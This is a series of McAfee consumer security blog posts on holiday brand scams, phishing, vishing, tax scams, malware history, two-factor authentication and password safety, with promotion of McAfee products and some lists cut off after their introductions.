McAfee threat researchers have identified several consumer brands and product categories most frequently used by cybercriminals to trick consumers into clicking on malicious links in the first weeks of this holiday shopping season. As holiday excitement peaks and shoppers hunt for the perfect gifts and amazing deals, scammers are taking advantage of the buzz. The National Retail Federation projects holiday spending will reach between $979.5 and $989 billion this year, and cybercriminals are capitalizing by creating scams that mimic the trusted brands and categories consumers trust. From October 1 to November 12, 2024, McAfee safeguarded its customers from 624,346 malicious or suspicious URLs tied to popular consumer brand names – a clear indication that bad actors are exploiting trusted brand names to deceive holiday shoppers.
McAfee’s threat research also reveals a 33.82% spike in malicious URLs targeting consumers with these brands’ names in the run-up to Black Friday and Cyber Monday. This rise in fraudulent activity aligns with holiday shopping patterns during a time when consumers may be more susceptible to clicking on offers from well-known brands like Apple, Yeezy, and Louis Vuitton, especially when deals seem too good to be true – pointing to the need for consumers to stay vigilant, especially with offers that seem unusually generous or come from unverified sources.
McAfee threat researchers have identified a surge in counterfeit sites and phishing scams that use popular luxury brands and tech products to lure consumers into “deals” on fake e-commerce sites designed to appear as official brand pages. While footwear and handbags were identified as the top two product categories exploited by cybercrooks during this festive time, the list of most exploited brands extends beyond those borders:
By mimicking trusted brands like these, offering unbelievable deals, or posing as legitimate customer service channels, cybercrooks create convincing traps designed to steal personal information or money. Here are some of the most common tactics scammers are using this holiday season:
With holiday shopping in full swing, it’s essential for consumers to stay one step ahead of scammers. By understanding the tactics cybercriminals use and taking a few precautionary measures, shoppers can protect themselves from falling victim to fraud. Here are some practical tips for safe shopping this season:
McAfee’s threat research team analyzed malicious or suspicious URLs that McAfee’s web reputation technology identified as targeting customers, by using a list of key company and product brand names—based on insights from a Potter Clarkson report on frequently faked brands—to query the URLs. This methodology captures instances where users either clicked on or were directed to dangerous sites mimicking trusted brands. Additionally, the team queried anonymized user activity from October 1st through November 12th.
The image below is a screenshot of a fake / malicious / scam site: Yeezy is a popular product brand formerly from Adidas found in multiple Malicious/Suspicious URLs. Often, they present themselves as official Yeezy and/or Adidas shopping sites.
The image below is a screenshot of a fake / malicious / scam site: The Apple brand was a popular target for scammers. Many sites were either knock offs, scams, or in this case, a fake customer service page designed to lure users into a scam.
The image below is a screenshot of a fake / malicious / scam site: This particular (fake) Apple sales site used Apple within its URL and name to appear more official. Oddly, this site also sells Samsung Android phones.
The image below is a screenshot of a fake / malicious / scam site: This site, now taken down, is a scam site purporting to sell Nike shoes.
The image below is a screenshot of a fake / malicious / scam site: Louis Vuitton is a popular brand for counterfeit and scams. Particularly their handbags. Here is one site that was entirely focused on Louis Vuitton Handbags.
The image below is a screenshot of a fake / malicious / scam site: This site presents itself as the official Louis Vuitton site selling handbags and clothes.
The image below is a screenshot of a fake / malicious / scam site: This site uses too-good-to-be-true deals on branded items including this Louis Vuitton Bomber jacket.
The image below is a screenshot of a fake / malicious / scam site: Rolex is a popular watch brand for counterfeits and scams. This site acknowledges it sells counterfeits and makes no effort to indicate this on the product.

Two-step verification, two-factor authentication, multi-factor authentication…whatever your social media platform calls it, it’s an excellent way to protect your accounts.
There’s a good chance you’re already using multi-factor verification with your other accounts — for your bank, your finances, your credit card, and any number of things. The way it requires an extra one-time code in addition to your login and password makes life far tougher for hackers.
It’s increasingly common to see nowadays, where all manner of online services only allow access to your accounts after you’ve provided a one-time passcode sent to your email or smartphone. That’s where two-step verification comes in. You get sent a code as part of your usual login process (usually a six-digit number), and then you enter that along with your username and password.
Some online services also offer the option to use an authenticator app, which sends the code to a secure app rather than via email or your smartphone. Authenticator apps work much in the same way, yet they offer three unique features:
Google, Microsoft, and others offer authenticator apps if you want to go that route. You can get a good list of options by checking out the “editor’s picks” at your app store or in trusted tech publications.
Whichever form of authentication you use, always keep that secure code to yourself. It’s yours and yours alone. Anyone who asks for that code, say someone masquerading as a customer service rep, is trying to scam you. With that code, and your username/password combo, they can get into your account.
Passwords and two-step verification work hand-in-hand to keep you safer. Yet not any old password will do. You’ll want a strong, unique password. Here’s how that breaks down:
Now, with strong passwords in place, you can get to setting up multi-factor verification on your social media accounts.
When you set up two-factor authentication on Facebook, you’ll be asked to choose one of three security methods:

What is malware? A dictionary-like definition is “malicious software that attacks computers, smartphones, and other connected devices.”
In fact, “malware” is a mash-up of “malicious software.” It describes any type of software or code specifically designed to exploit a connected device or network without consent. And, unsurprisingly, hackers design most of it for financial gain.
Think of malware as an umbrella term that covers an entire host of “bad stuff,” such as:
Spyware that tracks activity, like what you type and where you type it. (Think snooping on your bank account logins.
Ransomware that holds devices or the data on them hostage, that hackers only release for a price. (And even so, payment is no guarantee you’ll get back your access.)
Adware that serves up spammy ads on your device. (The hacker gets paid for the number of “impressions” the ads have. The more they show up on people’s devices, the more they get paid.)
Botnet software, that hijacks a device into a remote-controlled network of other devices. (These networks are used to shut down websites or even shut down large portions of the internet, just to mention two of the things they can do.)
Rootkit that attacks that give hackers remote-control access to a device. (And with that control, they can wage all manner of attacks — on the device and on other devices too.)
Viruses that modify the way a device and its apps function. Also, they can effectively bring a device or network to a grinding halt. (Yes, viruses are a subset of malware. They can copy, delete, and steal data, among other things.)
You might know malware by its more commonly used name — viruses.
There’s a pretty good reason why people commonly refer to malware as a “virus.” Viruses have been on our collective minds for some time.
Viruses have a long history. You could call it “the original malware.” And depending on how you define what a virus is, the first one took root in 1971 — more than 50 years ago. It was known as Creeper, and rather than being malicious in nature, the creator designed it to show how a self-replicating program could spot other devices on a network, transfer itself to them, and find yet more devices to repeat the process. Later, the same programmer who created a refined version of Creeper developed Reaper, a program that could remove the Creeper program. In a way, Reaper could be considered the first piece of antivirus software.[i]
From there, it wasn’t until the 1980s that malware started affecting the broader population, a time when computers became more commonplace in businesses and people’s homes.
At first, malware typically spread by infected floppy disks, much like the “Brain” virus in 1986. While recognized today as the first large-scale computer virus, its authors say they never intended it to work that way. Rather, they say they created Brain as an anti-piracy measure to protect their proprietary software from theft. However, Brain got loose. It went beyond their software and affected computers worldwide. Although not malicious or destructive in nature, Brain most certainly put the industry, businesses, and consumers on notice. Computer viruses were a thing.[ii]
Another piece of malware that got passed along via floppy disks was the “PC Cyborg” attack that targeted the medical research community in and around 1989. There, the malware would lie in wait until the user rebooted their computer for the 90th time and was presented with a digital ransom note.[iii]
An early example of ransomware – Source, Wikipedia
Upon that 90th boot, PC Cyborg encrypted the computer’s files, which would only get unencrypted if the victim paid a fee, making it the first documented form of ransomware.
Shortly thereafter, the internet started connecting computers, which opened millions of doors for hackers as people went online. Among the most noteworthy was 1999’s “Melissa” virus, which spread by way of infected email attachments and overloaded hundreds of corporate and governmental email servers worldwide.
It was quickly followed in 2000 by what’s considered among the most damaging malware to date — ILOVEYOU, which also spread by way of an attachment, this one posing as a love letter. Specifically, it was a self-replicating worm that installed itself on the victim’s computer where it destroyed some info and stole other info, then spread to other computers. One estimate put the global cost of ILOVEYOU at $10 billion. It further speculated that it infected 10% of the world’s internet-connected computers at the time.[iv]
With that history, it’s no surprise that anti-malware software is commonly called “antivirus.”
Antivirus forms a major cornerstone of online protection software. It protects your devices against malware through a combination of prevention, detection, and removal. Our antivirus uses AI to detect the absolute latest threats — and has for several years now.
Today, McAfee registers more than a million new malicious programs and potentially unwanted apps (PUA) each day, which contributes to the millions and millions already in existence. Now with the arrival of AI-powered coding tools, hackers can create new strains at rates unseen before.
That’s another reason why we use AI in our antivirus software. We use AI to protect against AI-created malware. It does so in three ways:
Once again, it’s important to remind ourselves that today’s malware is created largely for profit. Hackers use it to gain personal and financial info, either for their own purposes or to sell it for profit. The files you have stored on your devices have a street value. That includes tax returns, financial docs, payment info, and so on. Moreover, when you consider all the important things you keep on your devices, like your photos and documents, those have value too. Should you get caught up in a ransomware attack, a hacker puts a price tag on them for their return.
Needless to say, and you likely know this already, antivirus is essential for you and your devices.
You’ll find our AI-powered antivirus in all our McAfee+ plans. Better yet, our plans have dozens of protections that block the ways hackers distribute malware. To name just a few, our Text Scam Detector blocks links to suspicious sites that host malware and other attacks — and our Web Protection does the same for your browser. It also includes our industry-first online protection score that shows you just how safe you are, along with suggestions that can make you safer still. Together, our McAfee+ plans offer more than just antivirus. They protect your devices, your privacy, and your identity overall.

“Antivirus software slows down my PC.” This is a comment that is often heard when talking about antivirus and malware protection.
That might be the case with many security products, but it’s not the case with McAfee. Independent tests since 2016 have proven that McAfee is not only good at catching malware and viruses, but also one of the lightest security products available today.
Antivirus forms a major cornerstone of online protection software. It protects your devices against malware and viruses through a combination of prevention, detection, and removal. Ours uses AI to detect the absolute latest threats — and has for several years now.
For decades, people have installed antivirus software on their computers. Today, it can also protect your smartphones and tablets as well. In fact, we recommend installing it on those devices as well because they’re connected, just like a computer. And any device that connects to the internet is a potential target for malware and viruses.
One important distinction about antivirus is its name, a name that first came into use years ago when viruses first appeared on the scene. However, antivirus protects you from more than viruses. It protects against the broad category of malware too — things like spyware, ransomware, and keyloggers.
To measure how much impact online protection software has on PC performance, some independent test labs include performance impact benchmarks in their security product tests. The most well-known of these test labs are AV-TEST, which is based in Germany, and Austria-based AV-Comparatives. These independent labs are among the most reputable and well-known anti-malware test labs in the world.
Over the years, we’ve tested strongly. Those results got stronger still with the release of our McAfee Next-gen Threat Protection.
McAfee’s AI-powered security just got faster and stronger. Our Next-gen Threat Protection takes up less disk space, reduces its background processes by 75%, and scans 3x faster than before. This makes your time online safer without slowing down your browsing, shopping, streaming, and gaming.
And the results show it.
Even with strong protection continuously monitoring all activity on your PC and laptop for threats, the best kind of antivirus keeps your devices running quickly.
Advances in our already high-performing protection have solidified our excellent standing in independent tests. The labs run them regularly, and we take pride in knowing that we’re not only protecting you, we’re keeping you moving along at a good clip.

“Vishing” occurs when criminals cold-call victims and attempt to persuade them to divulge personal information over the phone. These scammers are generally after credit card numbers and personal identifying information, which can then be used to commit financial theft. Vishing can occur both on your landline phone or via your cell phone.
The term is a combination of “voice,” and “phishing,” which is the use of spoofed emails to trick targets into clicking malicious links. Rather than email, vishing generally relies on automated phone calls that instruct targets to provide account numbers. Techniques scammers use to get your phone numbers include:
Once vishers have phone numbers, they employ various strategies to deceive their targets and obtain valuable personal information:
To protect yourself from vishing scams, you should:
Staying vigilant and informed is your best defense against vishing scams. By verifying caller identities, being skeptical of unsolicited requests for personal information, and using call-blocking tools, you can significantly reduce your risk of falling victim to these deceptive practices. Additionally, investing in identity theft protection services can provide an extra layer of security. These services monitor your personal information for suspicious activity and offer assistance in recovering from identity theft, giving you peace of mind in an increasingly digital world. Remember, proactive measures and awareness are key to safeguarding your personal information against vishing threats.

My mother recently turned 80, so of course a large celebration was in order. With 100 plus guests, entertainment, and catering to organise, the best way for me to keep everyone updated (and share tasks) was to use Google Docs. Gee, it worked well. My updates could immediately be seen by everyone, the family could access it from all the devices, and it was free to use! No wonder Google has a monopoly on drive and document sharing.
But here’s the thing – hackers know just how much both individuals and businesses have embraced Google products. So, it makes complete sense that they use reputable companies such as Google to devise phishing emails that are designed to extract our personal information. In fact, the Google Docs phishing scam was widely regarded as one of the most successful personal data extraction scams to date. They know that billions of people worldwide use Google so an invitation to click a link and view a document does not seem like an unreasonable email to receive. But it caused so much grief for so many people.
Emails designed to trick you into sharing your personal information are a scammer’s bread and butter. This is essentially what phishing is. It is by far the most successful tool they use to get their hands on your personal data and access your email.
‘But why do they want my email logins?’ – I hear you ask. Well, email accounts are what every scammer dreams of – they are a treasure trove of personally identifiable material that they can either steal or exploit. They could also use your email to launch a wide range of malicious activities from spamming and spoofing to spear phishing. Complicated terms, I know but in essence these are different types of phishing strategies. So, you can see why they are keen!!
But successful phishing emails usually share a few criteria which is important to know. Firstly, the email looks like it has been sent from a legitimate company e.g. Microsoft, Amex, or Google. Secondly, the email has a strong ‘call to action’ e.g. ‘your password has been changed, if this is not the case, please click here’. And thirdly, the email does not seem too out of place or random from the potential victim’s perspective.
Despite the fact that scammers are savvy tricksters, there are steps you can take to maximise the chances your email remains locked away from their prying eyes. Here’s what I suggest:
Never respond to an unexpected email or website that asks you for personal information or your login details no matter how professional it looks. If you have any doubts, always contact the company directly to verify.
Make sure you have super-duper internet security software that includes all the bells and whistles. Not only does internet security software McAfee+ include protection for daily browsing but it also has a password manager, a VPN, and a social privacy manager that will lock down your privacy settings on your social media accounts. A complete no-brainer!
Avoid using public Wi-Fi to log into your email from public places. It takes very little effort for a hacker to position themselves between you and the connection point. So, it’s entirely possible for them to be in receipt of all your private information and logins which clearly you don’t want. If you really need to use it, invest in a Virtual Private Network (VPN) which will ensure everything you share via Wi-Fi will be encrypted. Your McAfee+ subscription includes a VPN.
Public computers should also be avoided even just to ‘check your email’. Not only is there a greater chance of spyware on untrusted computers but some of them sport key-logging programs which can both monitor and record the keys you strike on the keyboard – a great way of finding out your password!
Ensuring each of your online accounts has its own unique, strong, and complex password is one of the best ways of keeping hackers out of your life. I always suggest at least 10-12 characters with a combination of upper and lower case letters, symbols, and numbers. A crazy nonsensical sentence is a great option here but better still is a password manager that will remember and generate passwords that no human could! A password manager is also part of your McAfee+ online security pack.
Even if you have taken all the necessary steps to protect your email from hackers, there is the chance that your email logins may be leaked in a data breach. A data breach happens when a company’s data is accessed by scammers and customers’ personal information is stolen. You may remember the Optus, Medibank and Latitude hacks of 2022/23?
If you have had your personal information stolen, please be assured that there are steps you can take to remedy this. The key is to act fast. Check out my recent blog post here for everything you need to know.
So, next time you’re organising a big gathering don’t hesitate to use Google Docs to plan or Microsoft Teams to host your planning meetings. While the thought of being hacked might make you want to withdraw, please don’t. Instead, cultivate a questioning mindset in both yourself and your kids, and always have a healthy amount of suspicion when going about your online life. You’ve got this!!
Till next time,
Stay safe!

As the name implies, spear phishing attacks are highly targeted scams. They often occur in professional settings, where the scammers go after one “big phish,” such as a ranking employee with access to finances or data. From there, the scammers employ social engineering (aka manipulation) to trick the target into transferring funds to them or giving them access to sensitive company systems. Sometimes, it’s a mix of both.
Some of the most striking examples of spear phishing attacks come from the Shamoon2 attacks seen in Saudi Arabia back in 2016. Successive waves of attacks ultimately infected machines with malware and destroyed systems.
So, how did this specific spear phishing attack work, exactly? Cybercriminals targeted specific organizations in Saudi Arabia with emails that included malicious attachments in them. Then, when victims clicked and opened the attachment, they were infected, valuable company data was taken and systems were quickly wiped.
Spear phishing has been around for quite some time yet remains as effective as ever. Spear phishing’s success is based on familiarity. Usually, cybercriminals pretend to be an organization or individual that you know and include a piece of content—a link, an email attachment, etc.—that they know you’ll want to interact with.
For example, cybercriminals have taken advantage of tragedies in the headlines and used targeted emails claiming to be a charitable organization asking for donations. In the case of Shamoon2, the attackers lured in victims with a tempting email attachment sent from organizations the victims were likely to trust. But instead of giving to their charity of choice, or opening a seemingly harmless workplace attachment, victims then self-infect their systems with malware.
Moreover, we have seen spear phishing attacks take on an entirely new form with the advent of AI deepfakes. Now, instead of reaching out to victims via email, sophisticated scammers create deepfakes that pose as employees on video calls. All in real-time. Such was the case in Hong Kong in February 2024 where a host of deepfakes pressured a company’s finance officer into transferring $25 million to the scammers running the deepfakes.[i]
Moral of the story: spear phishing (and regular phishing) attacks can be tricky. However, fear not, there’s a lot you can do to stay on top of this threat.
For starters:
Spear phishing attacks can be easily deceiving. In fact, cybercriminals have been able to impersonate known, credible charities or an employer’s business partners and customers. So, if you receive an email from an organization asking for donations or a partner asking you to open a file you didn’t request, a good rule of thumb is to go directly to the organization through a communications channel other than email. Go to the company’s site and do more research from there. That way, you can ensure you’re gaining accurate information and can interact with the right people, rather than cyber-attackers.
Always check for legitimacy first. Spear phishing emails rely on you—they want you to click a link, or open an attachment. But before you do anything, you always need to check an email’s content for legitimacy. Hover over a link and see if it’s going to a reliable URL. Or, if you’re unsure about an email’s content or the source it came from, do a quick Google search and look for other instances of this campaign, and what those instances could tell you about the email’s legitimacy.
Fraudsters select their victims carefully in these targeted attacks. They hunt down employees with access to info and funds and then do their research on them. Using public records, data broker sites, “people finder” sites, and info from social media, fraudsters collect intel on their marks. Armed with that, they can pepper their conversations with references that sound more informed, more personal, and thus more convincing. Just because what’s being said feels or sounds somewhat familiar doesn’t always mean it’s coming from a trustworthy source.
With that, employees can reduce the amount of personal info others can find online. Features like McAfee Personal Data Cleanup can help remove personal info from some of the riskiest data broker sites out there. I also keep tabs on those sites if more personal info appears on them later. Additionally, employees can set their social media profiles to private by limiting access to “friends and family only,” which denies fraudsters another avenue of info gathering. Using our Social Privacy Manager can make that even easier. With just a few clicks, it can adjust more than 100 privacy settings across their social media accounts — making them more private as a result.

The post How to Protect Yourself From a Spear Phishing Scam appeared first on McAfee Blog.
It’s that time of year again – tax season! Whether you’ve already filed in the hopes of an early refund or have yet to start the process, one thing is for sure: cybercriminals will certainly use tax season as a means to get victims to give up their personal and financial information. This time of year is advantageous for malicious actors since the IRS and tax preparers are some of the few people who actually need your personal data. As a result, consumers are targeted with various scams impersonating trusted sources like the IRS or DIY tax software companies. Fortunately, every year the IRS outlines the most prevalent tax scams, such as voice phishing, email phishing, and fake tax software scams. Let’s explore the details of these threats.
So, how do cybercriminals use voice phishing to impersonate the IRS? Voice phishing, a form of criminal phone fraud, uses social engineering tactics to gain access to victims’ personal and financial information. For tax scams, criminals will make unsolicited calls posing as the IRS and leave voicemails requesting an immediate callback. The crooks will then demand that the victim pay a phony tax bill in the form of a wire transfer, prepaid debit card or gift card. In one case outlined by Forbes, victims received emails in their inbox that allegedly contained voicemails from the IRS. The emails didn’t actually contain any voicemails but instead directed victims to a suspicious SharePoint URL. Last year, a number of SharePoint phishing scams occurred as an attempt to steal Office 365 credentials, so it’s not surprising that cybercriminals are using this technique to access taxpayers’ personal data now as well.
In addition to voice phishing schemes, malicious actors are also using email to try and get consumers to give up their personal and financial information. This year alone, almost 400 IRS phishing URLs have been reported. In a typical email phishing scheme, scammers try to obtain personal tax information like usernames and passwords by using spoofed email addresses and stolen logos. In many cases, the emails contain suspicious hyperlinks that redirect users to a fake site or PDF attachments that may download malware or viruses. If a victim clicks on these malicious links or attachments, they can seriously endanger their tax data by giving identity thieves the opportunity to steal their refund. What’s more, cybercriminals are also using subject lines like “IRS Important Notice” and “IRS Taxpayer Notice” and demanding payment or threatening to seize the victim’s tax refund.
Cybercriminals are even going so far as to impersonate trusted brands like TurboTax for their scams. In this case, DIY tax preparers who search for TurboTax software on Google are shown ads for pirated versions of TurboTax. The victims will pay a fee for the software via PayPal, only to have their computer infected with malware after downloading the software. You may be wondering, how do victims happen upon this malicious software through a simple Google search? Unfortunately, scammers have been paying to have their spoofed sites show up in search results, increasing the chances that an innocent taxpayer will fall victim to their scheme.
Money is a prime motivator for many consumers, and malicious actors are fully prepared to exploit this. Many people are concerned about how much they might owe or are predicting how much they’ll get back on their tax refund, and scammers play to both of these emotions. So, as hundreds of taxpayers are waiting for a potential tax return, it’s important that they navigate tax season wisely. Check out the following tips to avoid being spoofed by cybercriminals and identity thieves:
File before cybercriminals do it for you. The easiest defense you can take against tax season schemes is to get your hands on your W-2 and file as soon as possible. The more prompt you are to file, the less likely your data will be raked in by a cybercriminal.
Keep an eye on your credit and your identity. Keeping tabs on your credit report and knowing if your personal information has been compromised in some way can help prevent tax fraud. Together, they can let you know if someone has stolen your identity or if you have personal info on the dark web that could lead to identity theft.
Watch out for spoofed websites. Scammers have extremely sophisticated tools that help disguise phony web addresses for DIY tax software, such as stolen company logos and site designs. To avoid falling for this, go directly to the source. Type the address of a website directly into the address bar of your browser instead of following a link from an email or internet search. If you receive any suspicious links in your email, investigating the domain is usually a good way to tell if the source is legitimate or not.
Protect yourself from scam messages. Scammers also send links to scam sites via texts, social media messages, and email. Text Scam Detector can help you spot if the message you got is a fake. It uses AI technology that automatically detects links to scam URLs. If you accidentally click, don’t worry, it can block risky sites if you do.
Clean up your personal info online. Crooks and scammers have to find you before they can contact you. After all, they need to get your phone number or email from somewhere. Sometimes, that’s from “people finder” and online data brokers that gather and sell personal info to any buyer. Including crooks. McAfee Personal Data Cleanup can remove your personal info from the data broker sites scammers use to contact their victims.
Consider an identity theft protection solution. If for some reason your personal data does become compromised, be sure to use an identity theft solution such as McAfee Identity Theft Protection, which allows users to take a proactive approach to protect their identities with personal and financial monitoring and recovery tools to help keep their identities personal and secured.

When we come across the term Artificial Intelligence (AI), our mind often ventures into the realm of sci-fi movies like I, Robot, Matrix, and Ex Machina. We’ve always perceived AI as a futuristic concept, something that’s happening in a galaxy far, far away. However, AI is not only here in our present but has also been a part of our lives for several years in the form of various technological devices and applications.
In our day-to-day lives, we use AI in many instances without even realizing it. AI has permeated into our homes, our workplaces, and is at our fingertips through our smartphones. From cell phones with built-in smart assistants to home assistants that carry out voice commands, from social networks that determine what content we see to music apps that curate playlists based on our preferences, AI has its footprints everywhere. Therefore, it’s integral to not only embrace the wows of this impressive technology but also understand and discuss the potential risks associated with it.

AI, a term that might sound intimidating to many, is not so when we understand it. It is essentially technology that can be programmed to achieve certain goals without assistance. In simple words, it’s a computer’s ability to predict, process data, evaluate it, and take necessary action. This smart way of performing tasks is being implemented in education, business, manufacturing, retail, transportation, and almost every other industry and cultural sector you can think of.
AI has been doing a lot of good too. For instance, Instagram, the second most popular social network, is now deploying AI technology to detect and combat cyberbullying in both comments and photos.

In a chilling echo of George Orwell’s dystopian novel 1984, it’s possible that Big Brother – or in this case, Big Hacker – might be surveilling you through your own television. Evidence is emerging that Smart TVs can be just as prone to hacking as home computers.
Security analysts Aaron Grattafiori and Josh Yavor from iSEC Partners have spent several months investigating this issue, working alongside Smart TV manufacturers to address potential vulnerabilities. They presented their findings at the recent Black Hat network security conference in Las Vegas. Their demonstration highlighted the worrying tendency of Smart TVs to pry into personal data, whether via web searches, app usage, or even physical surveillance through the built-in camera.
Despite their advanced technology, Smart TVs carry the same risks as their more primitive forebears. The primary culprit is the IP address, which allows these devices to connect with various web apps like Facebook, YouTube, and Skype. The issue is that these apps often run on the same code (such as Javascript or HTML5) as home computers or smartphones, making them susceptible to malware attacks when left unprotected.
While they might look like ordinary TVs, many Smart TVs bear a closer resemblance to laptops, incorporating internet-connected apps, video streaming services, microphones, and even internal cameras. Sure, these features enhance the viewing experience, but they can also present a clear and present danger to your privacy.
Malicious code can easily find its way into your TV through seemingly harmless chat messages or browser searches. Once it’s there, your television is open to several types of spyware. With the right code, a hacker could gain full control over your device, accessing your TV’s cameras and microphones. In essence, they could use your camera to spy on you, turning your own TV into a surveillance device.
Although manufacturers have issued fixes to reinforce the exposed code, no device is 100% secure. The scenario of hackers gaining control over a TV’s cameras and microphones is not just an invasion of privacy but can also lead to potential misuse of personal information. It’s a stark reminder of the importance of protecting our digital presence and understanding the broader implications of IoT devices in our homes. As technology continues to advance, so too must our vigilance in guarding against these emerging threats.
Regular updates are crucial to maintaining the security of your TV and its apps. The digital world is full of bugs waiting for a chance to invade your device, so don’t let outdated apps provide them the perfect entry point. Ensure your apps are updated regularly to maintain your digital fortress.

It is common knowledge that connecting your devices to public Wi-Fi can expose them to potential malware and other security risks. But have you ever considered the dangers that might be lurking within public USB chargers? In a surprising revelation, researchers at Georgia Tech discovered that public iPhone chargers can be a conduit for malicious apps, posing a significant risk to your data security and privacy.
Interestingly, the malicious apps resulting from public iPhone chargers do not require any downloads or visits to the app store. These apps are installed on your iPhone via the compromised USB chargers. Once installed, they function like conventional malware, controlling your device and potentially accessing sensitive information such as banking login details. They can even intercept your phone calls and remotely control your device. The distinctive aspect of these threats is their delivery method—through seemingly innocuous iPhone chargers.
Despite these alarming characteristics, the threat posed by these malicious apps is not widely recognized or understood. Many people continue to casually plug their iPhones into public USB ports casually, little knowing the potential danger they expose their devices to. In contrast to the common belief that devices locked with a PIN or passcode are safe, these malicious apps can still infiltrate your iPhone if it is unlocked even for a moment.
→ Dig Deeper: How Safe Is Your Android PIN Code?
How exactly do these malicious apps find their way into our iPhones? The scheme was demonstrated by researchers from Georgia Tech, who managed to fool Apple’s security team with a dummy Facebook app containing a hidden malware code. Their experiment showed that when an iPhone connected to a compromised charger is unlocked, the faux Facebook app activates, allowing hackers to take control of the device remotely.
These threats, often called “AutoRun” threats, can make calls, view passwords, alter settings, and perform other operations on your device without your knowledge. The alarming thing about them is that they start executing when a corrupted drive is plugged into a device. Clearly, this poses a unique and powerful threat to smartphones, tablets, PCs, and Macs alike. As our dependence on these devices grows, so does the urgency to understand and prevent such attacks.

As we gear up to feast with family and friends this Thanksgiving, we prepare our wallets for Black Friday and Cyber Monday. Black Friday and Cyber Monday have practically become holidays themselves, as each year, they immediately shift our attention from turkey and pumpkin pie to holiday shopping. Let’s look at these two holidays and how their popularity can impact users’ online security, and grab a great Black Friday holiday deal from McAfee.
You might be surprised that “Black Friday” was first associated with a financial crisis, not sales shopping. The U.S. gold market crashed on Friday, September 24, 1869, leaving Wall Street bankrupt. In the 1950s, Black Friday was associated with holiday shopping when large crowds of tourists and shoppers flocked to Philadelphia for a big football game. Because of all the chaos, traffic jams, and shoplifting opportunities that arose, police officers could not take the day off, coining it Black Friday. It wasn’t until over 50 years later that Cyber Monday came to fruition when Shop.org coined the term as a way for online retailers to participate in the Black Friday shopping frenzy.
In conclusion, the origins of “Black Friday” are indeed surprising and far removed from the image of holiday shopping extravaganzas that we associate with the term today. These historical roots offer a fascinating perspective on the evolution of consumer culture and the significance of these shopping events in modern times.

According to Forbes, 2018’s Black Friday brought in $6.2 billion in online sales alone, while Cyber Monday brought in a record $7.9 billion.
While foot traffic seemed to decrease at brick-and-mortar stores during Cyber Week 2018, more shoppers turned their attention to the Internet to participate in holiday bargain hunting. Throughout this week, sales derived from desktop devices came in at 47%, while mobile purchases made up 45% of revenue and tablet purchases made up 8% of revenue.
So, what does this mean for Black Friday and Cyber Monday shopping this holiday season? In 2023, Adobe Analytics anticipates that Cyber Monday will maintain its status as the most significant shopping day of the season and the year, spurring a historic $12 billion in spending, reflecting a year-over-year increase of 6.1%. Online sales on Black Friday are expected to increase by 5.7% year over year, reaching $9.6 billion, while Thanksgiving is projected to grow by 5.5% year over year, amounting to $5.6 billion in spending.
If one thing’s for sure, this year’s Black Friday and Cyber Monday sales are shaping up to be the biggest ones for shoppers looking to snag some seasonal bargains. However, the uptick in online shopping activity provides cybercriminals the perfect opportunity to wreak havoc on users’ holiday fun, potentially disrupting users’ festive experiences and compromising their online security. In light of this, it is crucial to take proactive measures to safeguard your digital presence. One effective way to do so is by investing in top-tier online protection solutions.

One of the essential aspects of digital security resides in the strength of our passwords. While they are the most convenient and effective way to restrict access to our personal and financial information, the illusion of a fully secure password does not exist. The reality is that we speak in terms of less or more secure passwords. From a practical perspective, we must understand the behind-the-scenes actions that could potentially compromise our passwords and consequently, our digital lives.
Unfortunately, most users frequently overlook this crucial part of their digital existence. They remain largely ignorant of numerous common techniques that hackers employ to crack passwords, leading to the potential loss of personal details, financial information, or even identity theft. Therefore, this blog aims to enlighten readers on how they might be unknowingly making their passwords vulnerable.
Passwords serve as the first line of defense against unauthorized access to our online accounts, be it email, social media, banking, or other sensitive platforms. However, the unfortunate reality is that not all passwords are created equal, and many individuals and organizations fall victim to password breaches due to weak or compromised credentials. Let’s explore the common techniques for cracking passwords, and learn how to stay one step ahead in the ongoing battle for online security.
In the world of cyber-attacks, dictionary attacks are common. This approach relies on using software that plugs common words into the password fields in an attempt to break in. It’s an unfortunate fact that free online tools exist to make this task almost effortless for cybercriminals. This method spells doom for passwords that are based on dictionary words, common misspellings, slang terms, or even words spelled backward. Likewise, using consecutive keyboard combinations such as qwerty or asdfg is equally risky. An excellent practice to deflect this attack is to use unique character combinations that make dictionary attacks futile.
Besides text-based passwords, these attacks also target numeric passcodes. When over 32 million passwords were exposed in a breach, nearly 1% of the victims used ‘123456’ as their password. Close on its heels, ‘12345’ was the next most popular choice, followed by similar simple combinations. The best prevention against such attacks is avoiding predictable and simple passwords.

While security questions help in password recovery, they also present a potential vulnerability. When you forget your password and click on the ‘Forgot Password’ link, the website generally poses a series of questions to verify your identity. The issue here is that many people use easily traceable personal information such as names of partners, children, other family members, or pets as their answers, some of which can be found on social media profiles with little effort. To sidestep this vulnerability, it’s best not to use easily accessible personal information as the answer to security questions.
McAfee Pro Tip: Exercise caution when sharing content on social media platforms. Avoid making all your personal information publicly accessible to thwart hackers from gathering sensitive details about you. Learn more about the dangers of oversharing on social media here.
A common mistake that many internet users make is reusing the same password for multiple accounts. This practice is dangerous as if one data breach compromises your password, the hackers can potentially gain access to other websites using the same login credentials. According to a report published by LastPass in 2022, a recent breach revealed a shocking password reuse rate of 31% among its victims. Hence, using unique passwords for each of your accounts significantly reduces the risk associated with password reuse.
Moreover, it’s also advisable to keep changing your passwords regularly. While this might seem like a hassle, it is a small price to pay for ensuring your digital security. Using a password manager can help you remember and manage different passwords for different websites.
Social Engineering is a non-technical strategy that cybercriminals use, which relies heavily on human interaction and psychological manipulation to trick people into breaking standard security procedures. They lure their unsuspecting victims into revealing confidential data, especially passwords. Therefore, vigilance and skepticism are invaluable weapons to have in your arsenal to ward off such attacks.
The first step here would be not to divulge your password to anyone, no matter how trustworthy they seem. You should also be wary of unsolicited calls or emails asking for your sensitive information. Remember, legitimate companies will never ask for your password through an email or a phone call.
Despite the vulnerabilities attached to passwords, much can be done to enhance their security. For starters, creating a strong password is the first line of defense. To achieve this, you need to use a combination of uppercase and lowercase letters, numbers, and symbols. Making the password long, at least 12 to 15 characters, significantly improves its strength. It’s also advisable to avoid using common phrases or strings of common words as passwords- they can be cracked through advanced versions of dictionary attacks.
In addition to creating a strong password, adopting multi-factor authentication can greatly enhance your account security. This technology requires more than one form of evidence to verify your identity. It combines something you know (your password), something you have (like a device), and something you are (like your fingerprint). This makes it more difficult for an attacker to gain access even if they have your password.
→ Dig Deeper: 15 Tips To Better Password Security
